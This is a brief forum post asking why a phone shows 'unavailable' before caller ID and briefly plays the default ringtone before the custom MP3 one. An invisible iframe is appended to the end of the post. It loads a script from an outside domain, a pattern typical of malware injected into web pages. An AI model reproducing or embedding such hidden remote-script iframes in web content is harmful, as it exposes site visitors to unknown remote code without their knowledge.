When a call is first received, my phone briefly displays "unavailable" instead of the number, then displays the caller ID. However, because I have different ringtones for different categories, the default ringtone starts to play and then after a second or so the correct ringtone plays. Since I'm using converted MP3s as my ringtones, this is a little annoying (it would be anyway). Any idea on why this happens and if there's anything I can do about it?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
